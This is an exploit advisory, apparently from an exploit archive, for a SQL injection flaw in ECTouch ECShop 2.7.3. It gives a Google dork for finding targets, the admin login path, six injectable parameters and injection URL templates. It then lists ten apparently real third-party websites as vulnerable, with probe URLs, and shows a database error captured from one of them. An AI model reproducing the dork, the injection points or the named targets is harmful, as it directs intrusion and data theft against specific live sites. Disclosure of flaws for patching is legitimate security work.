ECTouch ECShop 2.7.3 SQL Injection

ECTouch ECShop version 2.7.3 suffers from a remote SQL injection vulnerability.


MD5 | 0ba14f6875fb0a9daeddafb224ed1358

###################################################################

# Exploit Title : ECTouch ECShop v2.7.3 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 22/01/2020
# Vendor Homepage : ecshop.com - ectouch.cn
# Software Download Link : ecshop.com/download
# Software Affected Versions : 1.0 and 2.7.3
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:/mobile/index.php?m=default site:cn
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
ECTouch ECShop v2.7.3 is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

###################################################################

# Administrator Panel Login Path :
******************************
/mobile/user.php?act=login

# Vulnerable SQL Injection Parameters :
*************************************
&id=
&brand=
&price_min=
&price_max=
&filter_attr=
&page=

# SQL Injection Exploit :
**********************
/mobile/index.php?m=default&c=category&a=asynclist&id=[SQL Injection]

/mobile/index.php?m=default&c=category&a=asynclist&id=[ID-NUMBER]&brand=[SQL Injection]

/mobile/index.php?m=default&c=category&a=asynclist&id=[ID-NUMBER]&brand=[ID-NUMBER]&price_min=[SQL Injection]

/mobile/index.php?m=default&c=category&a=asynclist&id=[ID-NUMBER]&brand=[ID-NUMBER]&price_min=[ID-NUMBER]&price_max=[SQL Injection]

/mobile/index.php?m=default&c=category&a=asynclist&id=[ID-NUMBER]&brand=[ID-NUMBER]&price_min=[ID-NUMBER]&price_max=[ID-NUMBER]&filter_attr=[SQL Injection]

/mobile/index.php?m=default&c=category&a=asynclist&id=[ID-NUMBER]&brand=[ID-NUMBER]&price_min=[ID-NUMBER]&price_max=[ID-NUMBER]&filter_attr=[ID-NUMBER]&page=[SQL Injection]&sort=sales_volume&order=ASC

###################################################################

# Example Vulnerable Sites :
*************************
[+] zhijianshi.cn/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] as66.cn/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] xingsom.net/shop/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] daqiunici.com/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] 95isee.com/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] ctsports.com.cn/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] guojiseka.cn/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] xiuyoupu.com/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] rebeccafashion.cn/mobile/index.php?m=default&c=category&a=asynclist&id=1153&brand=0&price_min=0&price_max=0&filter_attr=1%27

[+] xienson.cn/mobile/index.php?m=default&c=category&a=asynclist&id=69&brand=0&price_min=0&price_max=0&filter_attr=0&page=1%27&sort=sales_volume&order=ASC

###################################################################

# Example SQL Database Error :
****************************
MySQL Query Error
Warning: Division by zero in C:\web\WWW\xiuyoupu\mobile\include
\apps\default\controller\CategoryController.class.php on line 100
SQL: SELECT g.goods_id, g.goods_name, g.goods_name_style, g.market_price,
g.is_new, g.is_best, g.is_hot,g.brand_id, g.shop_price AS org_price, g.seller_credit,
g.best_rating,g.cat_id,g.admin_user_id,g.store_card6,g.store_card7,g.store_card8,
g.grade,g.enter_time,g.kejara,g.trademark_type,g.grade,g.mail_type,g.cash_deposit,
IFNULL(mp.user_price, g.shop_price) AS shop_price, g.promote_price, g.goods_type,
g.promote_start_date, g.promote_end_date, g.goods_brief, g.goods_thumb , g.goods_img,
xl.sales_volume FROM ecs_goods AS g LEFT JOIN ecs_touch_goods AS xl ON
g.goods_id=xl.goods_id LEFT JOIN ecs_member_price AS mp ON mp.goods_id =
g.goods_id AND mp.user_rank = '0' WHERE g.is_on_sale = 1 AND g.is_alone_sale =
1 AND g.goods_number<>0 AND g.is_delete = 0 AND (g.cat_id IN ('1153')
OR g.goods_id IN ('') ) ORDER BY goods_id DESC LIMIT -0 ,
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '-0 ,' at line 1

###################################################################

# Discovered By Hacker KingSkrupellos from Cyberizm.Org Digital Security Team

###################################################################

Related Posts